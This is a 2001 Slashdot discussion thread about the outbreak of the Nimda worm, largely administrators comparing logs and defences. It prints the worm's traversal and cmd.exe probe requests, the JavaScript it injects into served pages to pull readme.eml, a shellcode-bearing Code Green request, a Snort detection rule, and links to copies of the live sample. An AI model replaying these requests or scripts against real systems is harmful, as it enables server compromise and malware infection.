Using (gag, choke) Linuxconf does not count as "configuring it properly", because Linuxconf merely glues together random snippets of a sendmail.cf file of questionable vintage.

I'm sure glad I have DSL. Considering that the cable modem people still haven't learned from Code Red, and still have ARP broadcast domains that spam^Hn the entire United States, cable modem service is gonna suck for another two weeks or so until this new mess is cleaned up.

Re:Damn it!

[Anonymous Coward]

Another two weeks? Try another 2 years if you are in my neck of the woods. I haven't been able to play any online games since the first code red was detected.

Re:Damn it!

[sesquiped]

I don't know all the details of your mail setup, so I'm not sure if this will work, but have you considered fetchmail?

It will contact a remote server and download your mail, feeding it to the local MTA (pull instead of push). This means you can block port 25 from outside and have everything still work. You can even configure it to skip the MTA and talk directly to an MDA if you want.

Re:Damn it!

[axelbaker]

Why don't you just setup and authenticating smtp sever?

Re:Damn it!

[LinuxHam]

speaking of which, I may be nuts but I thought that there's an encrypted mode SMTP that newer sendmails try by default, like S/SMTP or something, but I can't find anything on it..

anyone know of any such thing?

Re:Damn it!

[funky womble]

Here's a link to get you finished (:

http://www.postfix.org/ current versions auto-configure spam protection suitably for most users (allows subnet to relay but nobody else). Of course you can change it how you want, but out-the-box defaults are fantastic.

Re:Damn it!

[funky womble]

Running the mail through an ssh tunnel is a good and secure way to do things, since you can use host keys to ensure that your mail is only sent to your box and not the box of someone who just picked up your old IP address.

Re:Damn it!

[Anonymous Coward]

They don't use it by default but here's a couple of pointers:

http://xi.nu/~jheiss/sendmail/tlsandrelay.shtml

http://www.sendmail.org/~ca/email/starttls.html

Re:Damn it!

[Anonymous Coward]

Just when I was hoping my cable company would unblock my HTTP port (which they said was "temporary").

Ha ha! You believed there's such thing as a "Temporary Emergency." Lucky for you, there is hope: if you click your heels three times, the Tooth Fairy, Easter Bunny, and Santa Claus will appear and solve all your problems.

Re:Damn it!

[Anonymous Coward]

Hey guy, I have friends at the dsl joint who think they are god because they do 'classless
redelegation' of ip domains-same losers as at any isp.

Snort rule

[AftanGustur]

Add this to your in-house SnortRules file.

alert TCP $EXTERNAL_NET any -> $HOME_NET 80 (msg:"AfterRed Worm"; flags: A+; content: "/cmd.exe"; nocase;)

Re:Snort rule

[Dexx]

Wouldn't it be better to look for readme.exe and readme.eml? cmd.exe is, I think, too common to uniquely identify this bug..

Re:Snort rule

[Dexx]

Now that I've thought about it a bit more, the above would only notify you of a successful worm. Any ideas out there to positively identify this thing as it comes in? Other than the cluster of 14+ other alerts, that is..

eh?

[Perianwyr Stormcrow]

Declaring "cyberwar" on Afghanistan is a lot like threatening to blow up Kabul's world trade center.

Oh, they don't have one? Exactly.

I'd imagine most "cyberwar" would focus on Pakistan, but they're helping us already.

They're very _active_ aren't they...

[FreeMars]

Those machines must have a lot of probe threads running -- I got hit by a site at 8:47 and again at 10:25. (Or else the random number generator in the worm is bad.)

My DSL to home is completely swamped ... I can't even get a ping through.

Apache too?

[DarkWarriorSS]

I noticed the same thing in my web log this morning. I think it not only affects IIS, but I think it will also affect Apache servers running Micro$oft FP Extensions, as the /scripts/ and stuff its pointing to are all apart of the extensions. IT does also try to exec. some windoze only files. But personally, its gonna be bigger then we all think it will be...

Emailed CERT, but I'm sure I wasn't first

[StephenBenoit]

Between EDT 09:35:32 and 11:04:03, my web server was hit by 38 unique IP addresses with the same pattern. I sent a report to cert@cert.org, but I guess I should have checked Slashdot first!

It starts with:
"GET /scripts/root.exe?/c+dir HTTP/1.0"

and ends with:
"GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"

After checking a handful of the originating hosts, I found some were running Microsoft-IIS/4.0 or Microsoft-IIS/5.0 on port 80, but most were blocking port 80.

And to think I was just putting finishing touches on my /default.ida script to send a warning email directly to the smtp port of the infected host! Who wants to write an Apache module to detect and send advisories to the infected host's admin?

Re:Emailed CERT, but I'm sure I wasn't first

[Anonymous Coward]

me and you both..wot a waste of time now, huh?

Well this is annoying

[tykeal]

I'm a little annoyed. I was hoping for a less eventful Tuesday this week. My home server is crawling because of all the requests that it's rejecting. At least the Winbloze servers that I have to maintain aren't showing signs yet (something about being on a closed network).

Slashdot is broken

[Anonymous Coward]

I was getting this error when I clicked the article: Nothing for you to see here. Move along.

much worse for me than CodeRed

[mikeraz]

At the height of code red I was getting ~60 hits a day. This beast has hit my system over 3000 times today.

Yow.

wget readme.eml

[methodic]

Can someone wget it and post it in a gzip or zip format on their website?

Re:wget readme.eml

[Philippe]

Here you go:

ftp://biol10.biol.umontreal.ca/public_ftp/hacks/ re adme.zip

Re:wget readme.eml

[kc8apf]

Actually, I grabed the eml file, un mime encoded the attached exe and gunziped it up on my site. If someone wants to disect it, feel free. It's at http://www.kc8apf.net/virus/readme.tgz

Also, this will only be up till 5pm today.

Windows firewalling

[Anonymous Coward]

Does anyone know how useful (useless) the new Windows XP firewall is at stopping these sort of things? I doubt it does anything, but what about products like Zonealarm? Personally, I think that the best way to limit these sort of attacks is by getting home users to install some sort of firewall (and there are some rather idiotproof ones out there). Although, if the firewall comes up with something like "StupidObviousVirus.exe wants to connect to the Internet. Allow?", most people will still click 'OK', not knowing what they are doing.

Re:Windows firewalling

[spiro_killglance]

The Magistr-B virus, is smart enough to shutdown
ZoneAlarm before trying to mail itself out. Any
worm you'll likely to get will also switch off
the XP firewall.

The fundamential problem is the software monoculture that is a pardise for worms and
virus. So please anyone run obsure programs.

Re:Windows firewalling

[rayoumand]

It also depends on what Windows you're running.. I've had a great deal of problems running ZoneAlarm on Win XP

Re:Windows firewalling

[_Marvin_]

Completely useless, period. Why? Because this only affects people who are running IIS (or, to be more precise, people who are running an OS that thinks they should be running IIS, even if they don't know about it). So, if Windows thinks you should be running IIS, then it certainly will make sure that the integrated firewall doesn't get in the way.

Default.asp changed by virus

[hex1848]

I just samspaded one of the IP's thats been hitting our site. it places a bit of javascript code at the bottom of the page that basically forces IE to download readme.exe. DO NOT TRY TO GO TO AN INFECTED IP ADDRESS.

Infected IIS delivered payload via HTTP

[Anonymous Coward]

Infected IIS servers also have another, more interesting delivery method... When you hit a web site on an infected server, it also delivers a "readme.eml" file, with an "readme.exe" payload file.

Browsers like Opera (and, I assume, Netscape) view this as a plain-text document, but MSIE takes that EML file and treats it like an Outlook email... which means it uses the Outlook security settings, -and the recently discovered Outlook version 6 security hole-, I believe.

If that "readme.exe" file does what I think it does... You can figure it out from there. I suggest somebody grab the README.EML file and dissect the fucker.

-- Christian Wagner ( cwagner at io.com )

You could just take my cable company's approach...

[VicBond007]

...And shut down port 80 completely :-P It looks very unprofessional when one's url ends in ":90" :-(

Coordinated DDOS?

[dschuetz]

If we really are seeing a marked increase in worm traffic (and it's not just everyone suddenly noticing, now that others have brought it up -- just being cautious, eh?), then could it be possible that this might be part of, or a prelude to, a DDOS attack?

The NIPC issued the following advisory: Potential Distributed Denial of Service (DDoS) Attacks on Monday, talking about reports of people preparing for DDOS attacks on computer and commerce infrastructures. In particular: On September 12, 2001, a group of hackers named the Dispatchers claimed they had already begun network operations against information infrastructure components such as routers. The Dispatchers stated they were targeting the communications and finance infrastructures. They also predicted that they would be prepared for increased operations on or about Tuesday, September 18, 2001.

Of course, this could just be an ill-timed release of yet another worm (like there're "well-timed" releases?). I just thought that this was particularly spooky, reading this alert after seeing this worm story...

Re:Coordinated DDOS?

[illtud]

If we really are seeing a marked increase in worm traffic (and it's not just everyone suddenly noticing, now that others have brought it up -- just being cautious, eh?)

No, we've got a number of web servers here which have been consistently hammered by the Code Red variants (5713 attempts and counting over the past two months) but this one appeared for the first time this morning, and we're currently at 4969 attempts already (not that many distinct hosts - my quick one-liner counts 110 distinct
hosts)

new attack

[Anonymous Coward]

This revamp of an exploit is probably being routed in from Afganistan.

I don't have these problems, I use Linux exclusively.

Re:new attack

[Anonymous Coward]

You wouldn't have these problems if you ran an IBM Selectric II, either.

Appeded JavaScript

[_Bunny]

I've telneted to several of the hosts that have probed us in the last hour.

It appears that this new worm is appending the following JavaScript snippet to all pages that the server sends:

<html><script language="JavaScript">window.open("readme.eml", null, "resizable=no,top=6000,left=6000 ")</script></html>

Not sure what this JavaScript is suppose to do, but it's there none the less.

- Matt

Re:Appeded JavaScript

[Genom]

The readme.eml file is the payload. Due to what I can only hope is a bug in IE, this type of file will *automatically* execute.

The file seems to be written in unicode, and has some registry strings in it -- I haven't had a chance to completely dissect it yet.

Re:Appeded JavaScript

[mike13down]

in the *.eml file is the html for the dir listing of the computer that is violated.. at least that's all i can see on after downloading it and opening it in gedit

Re:Appeded JavaScript

[JabberWokky]

readme.eml file is the payload

I just started browsing the web for the first time this morning, and it *may* be a bad sign that 50% of the sites that I just pulled up keep trying to send me readme.eml, which Konqueror/KDE seems to think is a pine file.

Gah! Anybody else hitting a massive quantity of these files? I'm looking for decorative nails for a project (the wood kind, not the finger kind), so I'm not browsing IT sites (which would presumably be run on sturdier webservers).

--
Evan

Re:Appeded JavaScript

[NutscrapeSucks]

Due to what I can only hope is a bug in IE, this type of file will *automatically* execute.

In the Windows 'Folder Options' Dialog, there's settings for each file type, including "Confirm Open After Download" -- which is a highly suspect feature that allows users to seemless open (possibly virus laden) Microsoft Office documents and so on.

A year or more ago, I went through and enabled this setting for pretty much everything I could find (mainly MSO types). I just double-checked and a few MSO types had reverted, but it's currently enabled for .EML and .NWS (Outlook Express types).

I'm curious what this setting is on a virgin box -- anyone want to take a look?

Re:Appeded JavaScript

[Jenova_Six]

The default setting on a Win98 SE box is "Confirm open after download". This is a good thing - that means it should prompt to open the file, instead of doing it automatically.

However, since Taco et al are reporting that IE5 opens readme.eml automatically, perhaps this feature is broken, or somehow being overridden.

Jenova_Six

Yep, my apache server is crawling.

[Neil Watson]

I've been hit by more than a dozen servers starting this morning. My little 1.2MB adsl line is hurting :(

Anyone know how we can block these requests?

Re:Yep, my apache server is crawling.

[Midnight Ryder]

I've been hit by more than a dozen servers starting this morning. My little 1.2MB adsl line is hurting :(

Yer ADSL line - jesus, I'm running a small corporate network with an ISDN line (no DSL available), and this poor thing has been just saturated with incomming traffic (of course, the machines here aren't vulnerable, but still...)

Re:Yep, my apache server is crawling.

[bzbb]

im on a 26400 bps connection, and i have gotten 37 differnet ip addresses attacking in three hours

Re:Yep, my apache server is crawling.

[Anonymous Coward]

im on a 26400 bps connection, and i have gotten 37 differnet ip addresses attacking in three hours

Oh yeah? Well, I use CARRIER PIGEONS and they're all DEAD!

Re:Yep, my apache server is crawling.

[Anonymous Coward]

"Oh yeah? Well, I use CARRIER PIGEONS and they're all DEAD!"

ROTFL! Nice touch..

Re:Yep, my apache server is crawling.

[Anonymous Coward]

You need one of those scripts which collect the IPs of offending senders from your Apache logs and periodically adds them to your firewall (cleanly dealing with repeat offenders). Several were developed to combat Code Red; a Google search will turn one of them up.

Re:Yep, my apache server is crawling.

[Anonymous Coward]

Followup: check out http://slashdot.org/comments.pl?sid=21734&cid=2315 072 for an ipchains solution..

My college is getting hit pretty bad

[Gambit Thirty-Two]

Still have access to one of the systems i used to run at my alma mater. im getting SCREENFULLS of logs scrolling by, super fast. Many many hits.

This looks bad.

Re:My college is getting hit pretty bad

[Geek_Girl]

I too am from your alma mater and all I have to say is does this really surprise you???

Re:My college is getting hit pretty bad

[Gambit Thirty-Two]

Not on that subnet. looks like 90% of that class A is in Mexico

/me ponders who you be.
/me thinks he's got a good idea.

:)

Re:My college is getting hit pretty bad

[Gambit Thirty-Two]

Well, reading one of yer previous comments, unless you sign with a fake -sig, i've got no clue who you are.

bcnu.

Re:My college is getting hit pretty bad

[Geek_Girl]

Good, that's for me to know and you NOT to find out ;)

I got it too.

[epsalon]

I got it from 132.254.96.22. I'm on 132.69.xxx.xxx.

I "heard it here first" but...

[Fredbo]

I noticed it on my own server before I heard about it here.

Some stats gleaned from my log file:

6-falcon [Tue 18Sep2001] 8:37AM ~ 12% grep c+dir /etc/apache/logs/access_log|wc
678 9492 104249
6-falcon [Tue 18Sep2001] 8:37AM ~ 13% grep c+dir /etc/apache/logs/access_log|head -2
****.linuxwa.com.au - - [10/Aug/2001:23:51:16 -0700] "GET /scripts/root.exe?/c+dir+ HTTP/1.0" 404 210 "-" "-" 0 web.feather.net
::ffff:216.99.110.** - - [18/Sep/2001:06:09:40 -0700] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 210 "-" "-" 1 web.feather.net

Apparently it was first discovered some time ago, but just recently got so hideously infectious...

example site - see it yourself

[agustin]

take a look at http://208.37.171.156/

i was hit 215 times in an hour, this being one of the sources.

Re:example site - see it yourself

[xanadu-xtroot.com]

SHUT THE BOX THE HELL OFF!!!

What a freakin' asshole...

Re:example site - see it yourself

[iainl]

If the guy has any ability to do so, I'm sure he would. I strongly suspect that he just knows about it because he is being hit himself however.

Re:example site - see it yourself

[xanadu-xtroot.com]

In all fairness, I thought that too. *BUT* it then hit me:
The guy apperently has acess to the Box's Logs or the Router's Logs. Given that, he *COULD* do something about it.

Re:example site - see it yourself

[WildBeast]

IE6 tried opening it with Windows Media Player then it said failed, format not recognized.

Re:Corporate ought to be securing the box better..

[Anonymous Coward]

My no means am I a windows advocate, but I do want to say that all the windows bashing is a bit hypocritical. Everyone acts like this couldn't happen on *NIX. Remember the Internet Worm? (I don't, I'm too young, but still). Sure, the recent strain of worms are for windows, but couldn't the same thing happen with say.. oh.. I dunno bind or sendmail? Two programs that lots of systems run that AFAIK have never had a version without SOME kind of security hole. This isn't a case of one OS being better than another. It's a case of BAD (read: insecure) PROGRAMMING. Just my two cents.

Some of what it does...

[axxter]

This worm hit my NT box - despite all of M$ security patches being installed. Some of the changes I have noticed.

Any requests to the webserver serving the machines primary domain name (but not it's aliases) will also send a file called "readme.exe" with the page - I haven't run the file but neither Norton or Fsecure recognise it a a virus. Also in the root of said webserver it places a file called readme.eml (an outlook email message) which is a mime message containing the file readme.exe

Axxter

Re:Corporate ought to be securing the box better..

[Anonymous Coward]

Right move everything to nix. I can have that done by Friday. Did you get the memo??

New Worm

[Anonymous Coward]

We are getting reports of this on the DShield mailing list as well as from my own home firewall. I am using portsentry, so all the ips are being banned after the first attempt, but I'm still getting hits on port 80 roughly every 5 minutes, but they're from all over the place, not just 208.x.x.x. I mean everywhere. My server reports are going nuts, I usually get maybe 1-2 an hour, but now I'm getting 1 literally every 4-5 minutes.

We've got it bad 2000 attempts

[Richard_J_M]

It attempts to download a file called admin.dll which from from I can determine is from frontpage extensions to use as a exploit. The readme.eml will copy the file to desktop.eml or sample.eml in any directories that it can find on your computer or network computers nearby. The directories it seems to copy the files into are anything with "games" (possibly "game") or "MP3" ( it went to both MP3s and MP3). It also copies the file into your favorites.

The virus checkers don't seem to spot this file and it would be incredibly unwise to run the blighter.

HTH

Richard

@home

[kimodo]

im on the @home cable network (24.xxx.) ive recieved about 500 hits in the past half hour all the @home network. ive compared these hits witht he logs of code red hits and they are coming from most of the same ip's. i called comcast@home and they said they are "working on the situation". i agree with another post that they should shut down the infected boxes and mail the user explaining why. it is well within their rights. but i guess their too busy fighting bankruptcy. I wonder what kind of news headlines this would be making if the tradegy in new york never happend?

Re:This could explain why I can't reach my machine

[skroz]

Yes, my machines (on RR) are getting pounded as well. It seems to act a bit like Code Red in the manner in which it spreads, but is attempting to exploit a greater number of bugs.

Registry Imports:

[Gambit Thirty-Two]

Some of the lines from the registry it tries to import:

SYSTEM\CurrentControlSet\Services\Tcpip\Paramete rs \Interfaces Concept Virus(CV) V.5, Copyright(C)2001 R.P.China MIME-Version: 1.0

Search for 'Concept Virus' to see if you're infected, I guess.

Yikes! It's everywhere.

[BubbaFett]

I'm getting hits from all over campus. So far 221 attacks, though it looks like i'm getting multiple blocks of hits from each host.

Time of attack

[mdpowell]

The first such attack in my logs was at 1333 GMT (0833 CDT). All attacks are within my class B so far (206.230). There seem to be a few hundred of them so far, and the DSL line I share with the rest of my apartment building is getting a bit sluggish.

Another machine I have on another class B (128.46) started getting hit around the same time, but not all of its attacks are from within the subnet.

--mdp

Re:Time of attack

[jdunlevy]

First hit I got over my DSL was at 08:21 CDT. Similary to above report from within my class B (64.81.). I'm in Chicago, and this first hit was from somebody on an New York City (and I'll go out on a limb and call this a coincidence) POP, followed quickly (8:23) by somebody on the Chicago POP and (8:24) by somebody on the Los Angeles POP.

I just did a search on readme.eml at google

[Anonymous Coward]

I just did a search on readme.eml at google
and looky what i found, also
it appears the ips i've noticed again at 9:06 till
@ 9:14 where quite popular in peoples logs according to another google search done on those address
..
at
http://www.google.com/search?q=cache:xlKKXWt_UCQ :h ome.chinese.com/~jaleo/OS/winnt2k017.htm+readme.em l&hl=en

a google cached document i found the internals of
the email...

Same one?

[briggsb]

Taco would've know about this months ago. It was annouced here.

CERT mention

[Anonymous Coward]

CERT has a mention of this under Increased Port scanning activity.

like Maaaaad

[Anonymous Coward]

This is spreading like mad. I've already got 1042 hits from this thing. Geeze, running M$ on the Internet is a liability. We have sin taxes, why not M$ taxes?

W32/Nimda.A@mm

[rkischuk]

More info from F-secure about the virus

Hit count.

[rew]

My server got hit 800 times by 189 unique hosts so far. Ehmm. Make that 191 while writing this message....

Roger.

572

[xanadu-xtroot.com]

I'm at 572 hits from this one in just under a couple hours. Damn. It took Code-Red 2 days to get that high on my box...

Oh, Taco: ALL of them are from the 216.x.x.x range...

Blink Blink

[0vi_king]

I got up this morning and the send/receive light on my Comcast/@home cable modem was having a fit.

Surely Code Red isn't back in full force?

Well...I guess so. Shoot.

Thank goodness I am not running Windows(alpha-numberic soup) as my server.

Linux seems to be a pretty good anti-virus for some things. Eh, Steve..?

EML files in every directory?

[msheppard]

My wife called from home saying, "Something is putting EML files all over my computer...(pause)...and yours too"

I am running IIS on win2k, have applied the code red patch. Note: I am building the Linux/Apache server RIGHT now, so IIS is on the way out. But if anyone has any idea how this is happening, I'd love the info.

Looks like this thing kicked off almost excatly one week after the WTC stuff.

Re:EML files in every directory?

[Anonymous Coward]

Your wife knows how to recognize that problem, AND to check other computers to see if they're infected too? Damn, I love your wife. :)

Re:EML files in every directory?

[Anonymous Coward]

When you applied the CodeRed patch, did you also apply the other 10 or so outstanding IIS patches? From what people are saying, this isn't a new exploit.

Re:EML files in every directory?

[Anonymous Coward]

But if anyone has any idea how this is happening, I'd love the info.

Yeah. Your good-for-nothing stay-@-home wife has access to your computer. You need to password-protect that thing. Probably infected it going to some soap-opera digest site.

Our foe has a name

[rm-r]

Just got word from a friend who works in the Anti-Virus market. The working title for this is W32/nimda.a they are working on it obviously...

Why do stacks grow downwards?

[Malc]

Wouldn't it make buffer overruns harder if stacks grew the other way? Is there a reason why a stack can't go upwards?

Re:Why do stacks grow downwards?

[drodver]

A stack is identical whichever way you orientate it. If you reverse the orientation you can still overflow the buffer, it will just start overwriting memory at decreasing memory addresses.

In summary: It wouldn't make a difference.

Re:Why do stacks grow downwards?

[strags]

Sadly, I don't think it would help. I thought about this for a moment, and came up with the following... someone please feel free to correct me if I'm mistaken.

Most buffer overflows are due to code such as:

void BadFunction(void)
{
char badBuf[100];
strcpy(badBuf,longString);
...

So, your stack looks like:

--> increasing memory address
[badBuf 100 bytes][ebp][return addr]

Standard overflow attacks involve scribbling on the return addr.

Now, let's suppose your stack goes the other way... once the code enters the strcpy function, we'll have:

--> increasing memory address
[return addr][ebp][badBuf][retaddr#2][ebp#2]...

Where retaddr#2 and ebp#2 are the return address from strcpy back into BadFunction, and the corresponding stack frame ptr respectively.

Notice that we can now overflow badBuf to scribble on retaddr#2. Thus, when strcpy returns, we can still jump to arbitrary locations. Slightly different approach, same effect.

Again - this *seems* like it would work, but if anyone can see a flaw, please correct me.

Re:Why do stacks grow downwards?

[Malc]

Why would reversing the direction of stack growth reverse the direction of which buffers are filled?

Re:Why do stacks grow downwards?

[Malc]

"--> increasing memory address
[return addr][ebp][badBuf][retaddr#2][ebp#2]... "

What are retaddr#2 and ebp#2? Surely they're from a function called from the current one? This would seem like a harder situation, but obviously possible:

func1() (
char badBuf[100];
func2((char*)badBuf);
}

func2(char* badBuff) {
strcpy(badBuf, longString);
}

Re:Why do stacks grow downwards?

[strags]

I explained what they were - bear in mind that your stack is now reversed, and is growing "rightwards".

return addr is the RA pointing back into the function that called BadFunction.

retaddr#2 is the RA pointing into BadFunction (BadFunction having called strcpy).

(The ebp's are just the stack frame pointers corresponding to each call).

The snapshot of the stack I illustrated was while strcpy is executing. My point was that you can still overflow the end of badBuf and scribble on retAddr#2 - thus, when strcpy returns, it will jump to an arbitrary address.

Doesn't seem any harder or easier than overflowing a buffer using a normal stack direction. Both situations require knowledge of the local stack frame layout, but that's about it.

Actually, thinking about it, the only difference is that you would need to make sure your buffer doesn't overflow *too* far, or you'll scribble on strcpy's local variables, possibly preventing it from returning.

Re:Why do stacks grow downwards?

[Anonymous Coward]

"Wouldn't it make buffer overruns harder if stacks grew the other way? Is there a reason why a stack can't go upwards?"

Nope; you can overrun a stack buffer regardless of which way the stack grows. You just point your overflow in the other direction.

No reason at all. Stacks can grow either direction. Stacks go downwards typically to keep out of the way of freespace heaps that typically are allocated at the other end of memory.

TruSecure ALERT- TSA 01-023 - W32.nimda.a.mm

[CiaranC]

TruSecure ALERT- TSA 01-023 - W32.nimda.a.mm

Date: September 18, 2001
Time: 1000 EDT

RISK INDICES:

Initial Assessment: RED HOT

Threat: VERY HIGH, (rapidly increasing)

Vulnerability Prevalence: VERY HIGH, effects IIS servers version 4.0,
5.0, and internal networks.

Cost: High, command execution is possible

Vulnerable Systems: IIS 4.0 and 5.0

SUMMARY:
A new IIS worm is spreading rapidly. Its working name is Nimda:
W32.nimda.a.mm

It started about 9am eastern time today, Tuesday,September 18, 2001,
Mulitple sensors world-wide run by TruSecure corporation are getting
multiple hundred hits per hour. And began at 9:08am am.

The worm seems to be targeting IIS 4 and 5 boxes and tests boxes for
multiple vulnerabilities including:

Almost all are get scripts, and a get msadc (cmd.exe)
get_mem_bin
vti_bin owssvr.dll
Root.exe
CMD.EXE
../ (Unicode)
Getadmin.dll
Default.IDA
/Msoffice/ cltreq.asp

This is not code red or a code red variant.

The worm, like code red attempts to infect its local sub net first,
then spreads beyond the local address space.

It is spreading very rapidly.

TruSecure believes that this worm will infect any IIS 4 and IIS 5
box with well known vulnerabilities. We believe that there are
nearly 1Million such machines currently exposed to the Internet.

Risks Indices:
Vulnerability VULNERABILITY PREVALANCE is very high - Milllions of
Internet Web server hosts: TruSecure process and essential
configurations should generally be protective. The vulnerability
prevalence world-wide is very high

Threat - VERY HIGH and Growing The rate of growth and spread is
exceedingly rapid - significantly faster than any worm to date and
significantly faster than any variant of Code red.

Cost -- Unknown, probably moderate per infected system.

The worm itself is a file called
README.EXE, or ADMIN.DLL
a 56K file which is advertised as an audio xwave mime type file.

Other RISKS:
There is risk of DOS of network segments by traffic volume alone
There is large risk of successful attack to both Internet exposed IIS
boxes and to developer and Intranet boxes inside of corporations.

Judging by the Code Red II experience, we expect many subtle routes
of infection leading to inside corporate infections.

We cannot discount the coincidence of the date and time of release,
exactly one week to (probably to the minute) as the World Trade
Center attack .

REPLICATION:
There are at least three mechanisms of spread:
The worm seems to spread both by a direct IIS across Internet (IP
spread)
It probably also spreads by local shares. (this is not known for
sure at this time)
There is also an email vector where README.EXE is sent via email to
numerous accounts.

Mitigations
TruSecure essential practices should work.
Block all email with EXE attachments
Filter for README.EXE
Make sure IIS boxes are well patched and hardened, or removed from
both the Internet and Intranets.
Make sure any developer computing platforms are not running IIS of
any version (many do so by default if either.
Disconnect mail from the Internet
Advise users not to double click on any unexpected attachments.
Update anti-virus when your vendor has the signature.

Re:TruSecure ALERT- TSA 01-023 - W32.nimda.a.mm

[CiaranC]

http://securityresponse.symantec.com/avcenter/venc /data/w32.nimda.a@mm.html

Extract:-

W32.Nimda.A@mm

Discovered on: September 18, 2001

Last Updated on: September 18, 2001 at 08:15:23 AM PDT

This is the preliminary information known at this time.

There is a new mass-mailing worm that utilizes email to propagate itself. The threat arrives as readme.exe in an email.

In addition, the worm sends out probes to IIS servers attempting to spread by using the Unicode Web Traversal exploit similar to W32.BlueCode.Worm. Compromised servers may display a webpage prompting a visitor to download an Outlook file which contains the worm as an attachment.

Also, the worm will create an open network share allowing access to the system. The worm will also attempt to spread via open network shares.

Re:TruSecure ALERT- TSA 01-023 - W32.nimda.a.mm

[Anonymous Coward]

Block all email with EXE attachments
Make sure IIS boxes are well patched and hardened, or removed from both the Internet and Intranets.
Make sure any developer computing platforms are not running IIS of any version
Disconnect mail from the Internet

You know, to be really sure, you might just consider shutting down your Windows server, locking it in a fire-proof safe (a so-called firewall) and burying it under 20 feet of concrete. Rumours that even that isn't enough to make a Windows box secure have so far not been substantiated.

Or, you could take the easy way out and just run apache on linux.

how do I get rid of it?

[wiredog]

Step 1. Get BSD or Linux
Step 2. Install.
Problem fixed.

Re:how do I get rid of it?

[Hanno]

No, problem not fixed.

I work on a dual boot machine. I use Windows when I need it for a particular task and I use Linux when I need that for another particular task.

Thank you for demonstrating useless advocacy without being helpful whatsoever.

Re:how do I get rid of it?

[Anonymous Coward]

Step 3. Smack wiredog with a rolled up newspaper for being abso-fucking-lutely no help.

Re:how do I get rid of it?

[Anonymous Coward]

You can also just shut off the machine.

And you might as well, if you have significant work to do that doesn't revolve around the computer itself in a self-serving fashion.

Because 'BSD or Linux' just doesn't cut it outside of the hacker's scene.

Come back when you've got a little more multimedia, dude.

Re:how do I get rid of it?

[dvdeug]

Besides the fact he was joking . . .

I dual boot too. I'm in very little risk of running into this virus. Linux browses the web just fine, so why reboot into Windows to browse the web? If you boot into Windows only to OCR or play Warcraft (like me) or any other limited purpose, then you won't have a problem.

Re:how do I get rid of it?

[Anonymous Coward]

"hacker's scene"?

Come back when you've got a little more IQ, "dude".

Re: how do I get rid of it?

[Tony-A]

My sympathies to anyone using Windows or Dual-Booting, but your answer is the only way to get rid of it.
Remember Melissa? Melissa was nice. This latest whatever will not be the last. .NET anyone?

What doesn't kill us will only make us stronger.

[bee-yotch]

Personally, I'd rather have a bunch of worms out there exploiting all the holes in my software so that the necessary companies can be notified and patch up these holes, rather than leaving the holes open and having only a few individuals hacking into peoples' machines and using it to their advantage.
Worms are a lot easier to catch, and sure they might cause a little havock in the short term, but in the long term I think we're all better off by making exploits widely known.

7:34:46 am Mountain time

[MadCow42]

I started getting hit by computers on my subnet at 7:34:46am Mountain time (9:34am eastern time).

Nasty, each computer hit me at least 16 times, and my log is growing fast. (Good thing my logs are in their own partition).

MadCow.

Look at this one

[MxTxL]

I'm getting pretty hammered with the mentioned worm, but look at this fun one i just pulled out of my logs.

2001-09-18 05:45:32 195.124.124.237 - 216.119.90.176 GET /default.ida
Code_Green_<I_like_the_colour-_-><AntiCod eRed-CodeRedIII-IDQ_Patcher>_V1.0_beta_written_ by_'Der_HexXer'-Wuerzburg_Germany-_is_dedicated_to _my_sisterli_'Doro'.Save_Whale_and_visit_<www.b uhaboard.de>_and_<www.buha-security.de>%u 9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u90 90%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003 %u8b00%u531b%u53ff%u0078%u0000%u00=a
200 206 5995 500 HTTP/1.0 - - - -

Re:Look at this one

[GiMP]

That is the code green worm. It is a nice little worm that patches your codered-vulnerable box :)

Re:Look at this one

[binford2k]

But still causes the same congestion that CR did.

Re:Look at this one

[h4x0r-3l337]

If that things works, I'd sure like to get my hands on it. Anyone know where to find this "Code Green" thing?
If everyone runs it, we could have this worm exterminated in no time.

Re:Look at this one

[Liquid(TJ)]

Not really. A code green "infected" box will stop transmitting, or will only send a few code green infection attempts. So while a server sending them does the same amount of traffic, the total number of servers goes down.

what's the solution?

[torqed]

Does anyone know what vulnerability this exploits? MS doesn't have a patch out yet. I have a win2k server running IIS (fully patched) and although I have been getting a large number of attacks, I haven't seen any side effects yet.

On a seperate note, 'bashing' windows and its users is a good way to show what a non-professional moron you are.

Re:what's the solution?

[xanadu-xtroot.com]

'bashing' windows and its users is a good way to show what a non-professional moron you are.

This "professional" chooses SECURE and TRUSTWOTHY OS's to run my company's business. I chose NOT to use M$'s crap because of simple holes like this. *THIS* is proof that YOU, sir, are NOT a "professional". If you cared about your company (and thus your JOB), you would would do eveything in your power to convince them that there are MUCH better things out their than M$'s junk..
Oh, but wait, you never would've thought about that it seems...

Re:what's the solution?

[torqed]

Thank you for proving my point with your rant.

IS personnel who make decisions based on emotion and hatred of other solutions are not keeping their eye on the ball. I have been using Windows for over 2 years as a web server without a single problem. If you keep an eye on the available patches and properly configure your system you can avoid problems. I am also an avid Linux user and have been for over 3 years. I certainly believe that Linux is a great OS and is extremely usefull in a corporate environment. However, the ease of administration, ASP, simple database connectivity, and an inexpensive, quality database (that doesn't cost as much as Oracle or DB2 for Linux) are all reasons I chose to use Win2K and IIS5. Your circumstances and requirements may be different, but that doesn't mean that doesn't invalidate my decisions.

A poorly configured Linux box is just as dangerous as a poorly configured Windows box.

Re:what's the solution?

[Anonymous Coward]

I notice that both of you are too emotional.

I love windows but IIS is just too poor. Its performance is a joke when benchmarked against apache (properly configured) on equilivant linux machine.

MS SQL (Access even worse.. not scalable) performance is poor when you can get fast free database like mysql or postgres (if you want transactions).

You are right, the choice is based entirely on what you want it to do. However doing benchmarks on similar machines, I so far haven't found any instance where a linux variant can't be used with better performance than a windows (NT, etc..) box.

Also I find windows too restrictive, being open source the software can be configured, re-written to do pratically anything I want.

I am sorry ppl windows bash, but exploits are done on all O/S (see the amount of exploits on sendmail!!) but some of the window ones does make you think that developers may have chosen easy of use over security.

Re:what's the solution?

[xanadu-xtroot.com]

31373 d00d,
